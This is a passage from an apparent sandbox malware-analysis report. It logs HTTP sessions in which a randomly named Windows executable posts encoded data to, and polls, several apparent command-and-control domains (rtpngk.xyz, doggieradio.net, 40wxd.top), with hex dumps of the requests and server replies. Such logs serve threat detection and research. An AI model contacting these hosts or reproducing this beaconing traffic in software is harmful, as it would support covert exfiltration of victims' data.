3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	63359	188.114.97.3	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:01.082154036 CEST	10859	OUT	POST /altr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.rtpngk.xyz Origin: http://www.rtpngk.xyz Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.rtpngk.xyz/altr/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 5a 31 33 33 54 4e 49 34 38 58 64 65 5a 48 7a 38 64 72 38 33 58 4e 74 36 4b 74 4b 30 73 71 54 70 4b 79 6a 32 58 45 44 6f 31 4a 2b 77 2b 78 7a 77 36 61 4f 52 51 72 50 30 73 66 51 34 69 73 75 70 41 42 56 4e 6a 6c 72 6d 53 39 41 61 50 39 75 65 4f 53 6b 71 43 52 4d 67 59 66 4f 42 51 32 4b 56 34 6f 6a 77 4f 43 61 34 61 71 74 33 4e 6c 38 7a 52 4d 37 7a 49 68 6d 30 63 53 48 73 6c 4a 6e 4b 52 37 47 6f 56 34 4a 6f 6f 54 66 2f 70 48 4e 6a 6b 4d 67 46 77 32 68 73 58 52 44 64 7a 4b 33 52 6c 6d 2f 39 71 4a 34 68 35 63 58 68 4e 59 41 39 52 33 72 69 68 31 69 43 50 69 79 4f 4e 45 64 2f 71 45 72 43 47 46 77 55 36 35 39 66 4d 53 65 37 5a 4f 37 6e 57 62 50 49 73 66 4b 77 70 63 69 59 75 62 74 72 49 6e 35 53 64 2f 53 69 2f 58 37 56 79 49 69 62 31 61 4d 47 2b 38 6f 62 6b 42 36 66 78 48 43 67 42 35 77 46 74 51 32 74 39 70 52 51 4c 38 76 6e 42 69 6f 6c 75 45 43 2b 54 63 43 2f 79 4e 67 58 54 39 64 4b 63 51 65 61 56 39 58 33 2b 4e 42 4b 38 32 6a 4d 51 45 70 4f 2b 30 51 2f 70 2b 43 47 53 53 54 69 4d 68 59 4a [TRUNCATED] Data Ascii: pP_8=YZ133TNI48XdeZHz8dr83XNt6KtK0sqTpKyj2XEDo1J+w+xzw6aORQrP0sfQ4isupABVNjlrmS9AaP9ueOSkqCRMgYfOBQ2KV4ojwOCa4aqt3Nl8zRM7zIhm0cSHslJnKR7GoV4JooTf/pHNjkMgFw2hsXRDdzK3Rlm/9qJ4h5cXhNYA9R3rih1iCPiyONEd/qErCGFwU659fMSe7ZO7nWbPIsfKwpciYubtrIn5Sd/Si/X7VyIib1aMG+8obkB6fxHCgB5wFtQ2t9pRQL8vnBioluEC+TcC/yNgXT9dKcQeaV9X3+NBK82jMQEpO+0Q/p+CGSSTiMhYJv8v9qWUAHUalO29rIsTmdqErWmYJ/ZbZ+FLmPtKlBjCEtiyIvTan4PSkN4tJwciqA7JIuaRxMEiuWS36lqcPLqFm5m4Yv7Wmjzeni6JhBWm04yPMHC96c/6cFC87PqbyrwA1aV3r5Mfkz0SyCLcGMzjtMgLBd82+l1mfwEREmxgwmhbJWwIUVojm6AHRP/nW62q061S4TRrBAiPlroui9k6bLAutdiRIyanjTXxtLJdpsn2a6NLnHKNB7qha9ci5TJITRPor5lBoeZQqBer1QmfWI1v/MSyPW+AVzlv9WeEmaPuJBEHsd1MN7dTsdykaRyjWyQfGH8t0YgEutFFOhO+xg52xH+dK3WpeJON6aPCNyNXT0np2moESr+pztbudDiYtHsDl/GM2OfpmKF779hZkn2lfOz9jN14lQqmiKMKvfxhVuMPaHOIOM6pzriOI29VYUvY4HN+iW0e/uWAM8BKLK4lhDTZph0nzhuW3P72dUSzkwYFFqkpKP5LdGVb4jLsFAucmr74MnetIrNzitqnnefrNoM/7fKhkbiwaamgGOB+apmNsbri8orGIrN8Cd0oKuRXIaWCtJpC/jhfagPTY/w+RS372+ABa2NJthHXl0onDWVFtDwkSuRwdoa8+EWovt9osknvTBUcvGJVr0nPHEpXRAbNbb9 [TRUNCATED]
Sep 11, 2024 11:20:01.543066025 CEST	842	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:20:01 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Wed, 11 Sep 2024 10:20:01 GMT Location: https://www.rtpngk.xyz/altr/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KSr%2Ff0nysNpaFQAenRzZQT79L0cBZtbNeIJ1QBxoWoICjayG5fuwHnGuQ%2FgQKHfoVm3d%2F8kKlwMGEZUb64PwDmGYE0RWyOgDCPX83G3G46BVj4dMveDSKYKgBJunp3lyfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8c1694594ac56a4e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	63360	188.114.97.3	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:03.627640963 CEST	497	OUT	GET /altr/?pP_8=VbdX0kog8qSHBufLtK+0qwwL6pFhzbi14fGg/CN3kiEzjMV75sm4cjiJhcKV1R019AsMCDZ1hQxpRPghO7Wf1QtEjpaGbTqiMLtSz+Xi+YiI4oFd5iwYses=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.rtpngk.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:20:04.080636978 CEST	961	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:20:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Wed, 11 Sep 2024 10:20:04 GMT Location: https://www.rtpngk.xyz/altr/?pP_8=VbdX0kog8qSHBufLtK+0qwwL6pFhzbi14fGg/CN3kiEzjMV75sm4cjiJhcKV1R019AsMCDZ1hQxpRPghO7Wf1QtEjpaGbTqiMLtSz+Xi+YiI4oFd5iwYses=&V0Qh=4pBta8 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdFL2HA2%2BKb5tec2UHAVlpGZrKZ%2FD0hcpc%2Ft8NkFZ5sQGYotzIle91jpg1pqzyRdScHzahlnotCqoJJIoVFc7naCfOMko%2Bo0XcSWkMO5E02dnUJX%2BZaaK5EgUHhSwYiuEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c1694692a4f42fc-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	63361	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:09.775651932 CEST	772	OUT	POST /hzuv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.doggieradio.net Origin: http://www.doggieradio.net Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.doggieradio.net/hzuv/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2f 4e 77 7a 4d 5a 58 57 45 59 48 52 36 44 71 64 51 30 52 71 4b 58 79 69 39 61 51 6b 38 64 5a 35 4d 76 4f 41 6a 63 50 62 44 6f 48 79 6b 70 65 2b 77 6d 58 43 6a 53 6e 48 35 66 43 6e 39 59 7a 36 6d 48 6c 66 73 56 58 56 62 63 48 49 47 75 71 76 69 4e 58 66 62 53 6d 78 62 45 4e 6f 47 78 57 52 64 74 70 58 77 7a 56 76 6d 79 36 7a 67 65 69 35 6b 78 2b 65 6a 30 73 35 6b 4c 4c 4b 42 30 4a 45 77 4f 42 4a 53 54 34 7a 78 59 50 45 69 33 6f 39 79 5a 73 61 6b 6f 66 47 48 59 33 46 79 6d 6e 55 6d 52 39 77 42 78 6c 77 59 77 4d 4d 61 6a 57 7a 78 75 77 58 70 51 48 4b 48 51 7a 75 6c 4b 45 49 4b 77 3d 3d Data Ascii: pP_8=/NwzMZXWEYHR6DqdQ0RqKXyi9aQk8dZ5MvOAjcPbDoHykpe+wmXCjSnH5fCn9Yz6mHlfsVXVbcHIGuqviNXfbSmxbENoGxWRdtpXwzVvmy6zgei5kx+ej0s5kLLKB0JEwOBJST4zxYPEi3o9yZsakofGHY3FymnUmR9wBxlwYwMMajWzxuwXpQHKHQzulKEIKw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	63362	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:12.315643072 CEST	792	OUT	POST /hzuv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.doggieradio.net Origin: http://www.doggieradio.net Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.doggieradio.net/hzuv/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2f 4e 77 7a 4d 5a 58 57 45 59 48 52 36 69 61 64 53 54 46 71 66 6e 79 6c 79 36 51 6b 31 39 5a 39 4d 76 4b 41 6a 64 4b 57 44 61 7a 79 6b 4d 69 2b 78 6b 76 43 67 53 6e 48 78 2f 43 69 35 59 79 32 6d 48 34 38 73 55 48 56 62 63 44 49 47 73 79 76 6a 36 72 63 61 43 6d 7a 48 45 4e 6d 49 52 57 52 64 74 70 58 77 77 6f 43 6d 79 69 7a 67 75 79 35 6c 56 72 49 71 55 73 36 6e 4c 4c 4b 46 30 4a 49 77 4f 42 2f 53 52 64 63 78 61 33 45 69 79 55 39 79 49 73 5a 75 6f 66 49 4b 34 32 50 30 6e 6d 6b 2b 53 4d 66 66 33 34 53 66 53 45 50 53 46 48 70 67 66 52 41 37 51 6a 35 61 58 36 61 6f 4a 35 42 52 38 2b 74 49 2b 61 67 66 47 4e 32 47 38 56 76 61 70 74 68 35 6a 4d 3d Data Ascii: pP_8=/NwzMZXWEYHR6iadSTFqfnyly6Qk19Z9MvKAjdKWDazykMi+xkvCgSnHx/Ci5Yy2mH48sUHVbcDIGsyvj6rcaCmzHENmIRWRdtpXwwoCmyizguy5lVrIqUs6nLLKF0JIwOB/SRdcxa3EiyU9yIsZuofIK42P0nmk+SMff34SfSEPSFHpgfRA7Qj5aX6aoJ5BR8+tI+agfGN2G8Vvapth5jM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	63363	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:14.867248058 CEST	10874	OUT	POST /hzuv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.doggieradio.net Origin: http://www.doggieradio.net Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.doggieradio.net/hzuv/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2f 4e 77 7a 4d 5a 58 57 45 59 48 52 36 69 61 64 53 54 46 71 66 6e 79 6c 79 36 51 6b 31 39 5a 39 4d 76 4b 41 6a 64 4b 57 44 61 72 79 6b 2b 61 2b 78 44 37 43 68 53 6e 48 37 66 43 6a 35 59 79 37 6d 48 77 67 73 55 4c 6a 62 66 72 49 55 66 36 76 79 2b 2f 63 54 43 6d 7a 66 45 4e 6e 47 78 57 2b 64 74 35 54 77 77 34 43 6d 79 69 7a 67 72 32 35 78 78 2f 49 73 55 73 35 6b 4c 4c 47 42 30 49 64 77 4b 6c 42 53 52 49 6a 78 4b 58 45 69 53 6b 39 31 2b 41 5a 6f 34 66 4b 4e 34 33 61 30 69 2b 37 2b 53 41 35 66 33 6c 2f 66 51 59 50 53 41 44 2f 31 62 68 76 6d 7a 37 46 48 6b 47 78 67 36 5a 57 4a 72 6e 51 42 2b 79 35 43 31 73 45 43 75 49 4e 4b 4c 64 66 75 6e 78 78 73 6a 47 57 6c 46 61 65 77 35 6d 32 36 34 6e 35 53 78 4e 71 49 39 72 5a 34 68 42 32 55 45 41 45 55 4f 58 61 4e 78 32 55 43 42 42 7a 49 58 57 79 78 79 30 32 64 67 4c 58 4f 44 33 70 68 52 50 39 4a 6c 77 2b 57 6d 41 69 71 6b 6d 49 62 4d 51 42 66 67 69 47 63 69 75 6b 42 6a 7a 4f 77 45 4c 58 51 42 36 32 47 67 43 4b 5a 47 51 4e 66 45 71 6e 33 47 54 43 4c [TRUNCATED] Data Ascii: pP_8=/NwzMZXWEYHR6iadSTFqfnyly6Qk19Z9MvKAjdKWDaryk+a+xD7ChSnH7fCj5Yy7mHwgsULjbfrIUf6vy+/cTCmzfENnGxW+dt5Tww4Cmyizgr25xx/IsUs5kLLGB0IdwKlBSRIjxKXEiSk91+AZo4fKN43a0i+7+SA5f3l/fQYPSAD/1bhvmz7FHkGxg6ZWJrnQB+y5C1sECuINKLdfunxxsjGWlFaew5m264n5SxNqI9rZ4hB2UEAEUOXaNx2UCBBzIXWyxy02dgLXOD3phRP9Jlw+WmAiqkmIbMQBfgiGciukBjzOwELXQB62GgCKZGQNfEqn3GTCLFKDs5H8oA7Na8Z5xjm/IpnxPuv0F6hHIp9+eUTAGddBjmykd7+5LtCuqQjfD1Xzj7sixDXCoO/dPrvsBhV+Ouw73FZDQX7kYeJUtsD1bkSTfwGBmoslfunOSf+P7WtD37MWHe15fowCBVmXE87QQCsDYMYIkovfjRZYhRv28EzDHj2NmvF9ZFen+6DsI24BfO8jykRALI7ZwvcCXQLbpHp9I04LGShjAo7ZwXNY+P4uvC89B1uLpAjSWqFijMD0RxRUban6SHVeMXrUizjkajMEOsTwqZbwoZILIJxqnArILL9BHR7Of5xJ56xZtN08+ci2+xKq3gxjCibO3E9Jie46uyTT691eiiewqwUVD+xM/dRTCwAAy/v3VKzCJJLOedS1Xo2/iVPZLl+BYgo3Z1SoQssjmSkga2j7EVWl9mJHhvXU/l+kHm/pR0SoKPFzhUxezv3Xw7DmkgFZp96abTgvkf36P4e8Tf83weukbmEHqZ6hfkEDxjId6D9Emho8WkkHSQLP1BJyiM+mTq/CZMxHY1ux/773VYCwymnOLeFspgROs/4ZtDVviUcD30PiEm2VCkVr/AU93aBXIqc95xP0k5eVQF7tHmdMbpEUeJECVZEVmVXRHXFTh3bIgqCSUT8Kkuum6WJqm2ddba26q+EOGG5Io3nlwoN [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	63364	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:17.402164936 CEST	502	OUT	GET /hzuv/?V0Qh=4pBta8&pP_8=yPYTPsOMRuT7nXzMZEh0cyOx75sbkvhbS623oo+vDaz4p8qW1TPOp1vW0qrZ2oW5wmcFkFH8avXQJuay0KjCNQuKV15vU1edPek8xw4GryuOme+JkwmIlF8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:20:17.879173040 CEST	392	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 11 Sep 2024 09:20:17 GMT Content-Type: text/html Content-Length: 252 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 56 30 51 68 3d 34 70 42 74 61 38 26 70 50 5f 38 3d 79 50 59 54 50 73 4f 4d 52 75 54 37 6e 58 7a 4d 5a 45 68 30 63 79 4f 78 37 35 73 62 6b 76 68 62 53 36 32 33 6f 6f 2b 76 44 61 7a 34 70 38 71 57 31 54 50 4f 70 31 76 57 30 71 72 5a 32 6f 57 35 77 6d 63 46 6b 46 48 38 61 76 58 51 4a 75 61 79 30 4b 6a 43 4e 51 75 4b 56 31 35 76 55 31 65 64 50 65 6b 38 78 77 34 47 72 79 75 4f 6d 65 2b 4a 6b 77 6d 49 6c 46 38 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?V0Qh=4pBta8&pP_8=yPYTPsOMRuT7nXzMZEh0cyOx75sbkvhbS623oo+vDaz4p8qW1TPOp1vW0qrZ2oW5wmcFkFH8avXQJuay0KjCNQuKV15vU1edPek8xw4GryuOme+JkwmIlF8="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	63365	206.119.82.134	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:23.318247080 CEST	754	OUT	POST /v4cy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.40wxd.top/v4cy/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 56 34 64 37 7a 53 4f 73 6a 4c 55 2f 69 4f 56 6e 59 47 31 38 2b 2b 55 61 66 43 67 38 43 4f 2f 53 71 43 72 75 6e 78 4d 62 7a 2b 6c 38 62 71 4c 2f 45 74 73 4c 48 76 4f 35 64 42 37 35 69 61 53 6e 38 74 48 35 34 67 79 59 56 4b 31 32 76 34 50 78 70 55 64 5a 78 77 6e 59 77 49 58 44 58 4d 44 37 58 34 42 72 68 67 4e 51 46 7a 6f 4e 67 63 4a 67 39 4c 57 73 38 56 75 79 50 73 4c 52 41 35 75 64 43 64 66 72 64 63 36 51 53 73 62 58 77 68 38 6f 4a 58 58 51 49 39 64 48 4b 64 42 79 39 57 6a 69 6f 4e 6c 68 55 4b 74 6d 71 49 50 47 52 69 53 6e 69 30 67 2f 4e 6a 32 2b 41 5a 30 58 4c 4a 4e 6b 44 41 3d 3d Data Ascii: pP_8=V4d7zSOsjLU/iOVnYG18++UafCg8CO/SqCrunxMbz+l8bqL/EtsLHvO5dB75iaSn8tH54gyYVK12v4PxpUdZxwnYwIXDXMD7X4BrhgNQFzoNgcJg9LWs8VuyPsLRA5udCdfrdc6QSsbXwh8oJXXQI9dHKdBy9WjioNlhUKtmqIPGRiSni0g/Nj2+AZ0XLJNkDA==
Sep 11, 2024 11:20:24.193732023 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Sep 2024 09:20:24 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	63366	206.119.82.134	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:20:26.277415037 CEST	774	OUT	POST /v4cy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.40wxd.top/v4cy/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 56 34 64 37 7a 53 4f 73 6a 4c 55 2f 69 76 46 6e 65 6e 31 38 76 4f 55 5a 42 53 67 38 4c 75 2f 57 71 43 6e 75 6e 7a 67 4c 7a 49 56 38 65 2f 6e 2f 46 73 73 4c 58 2f 4f 35 46 78 37 6c 2f 71 54 4b 38 74 4b 45 34 69 57 59 56 4b 68 32 76 36 6e 78 70 6a 42 65 78 67 6e 65 73 49 58 42 49 63 44 37 58 34 42 72 68 67 59 4e 46 7a 67 4e 67 4d 5a 67 2f 71 57 76 31 31 75 31 4b 63 4c 52 4c 5a 75 5a 43 64 66 64 64 64 32 32 53 70 66 58 77 67 4d 6f 4a 43 72 66 48 39 64 42 56 74 41 71 39 54 53 46 6d 2b 63 2b 64 36 35 41 6f 6f 2f 4b 55 6b 44 39 7a 46 42 6f 66 6a 53 4e 64 65 39 6a 47 4b 77 74 59 47 67 59 64 49 75 59 52 59 6e 5a 41 72 2f 52 4c 31 63 6a 4c 47 38 3d Data Ascii: pP_8=V4d7zSOsjLU/ivFnen18vOUZBSg8Lu/WqCnunzgLzIV8e/n/FssLX/O5Fx7l/qTK8tKE4iWYVKh2v6nxpjBexgnesIXBIcD7X4BrhgYNFzgNgMZg/qWv11u1KcLRLZuZCdfddd22SpfXwgMoJCrfH9dBVtAq9TSFm+c+d65Aoo/KUkD9zFBofjSNde9jGKwtYGgYdIuYRYnZAr/RL1cjLG8=
Sep 11, 2024 11:20:27.185648918 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Sep 2024 09:20:27 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 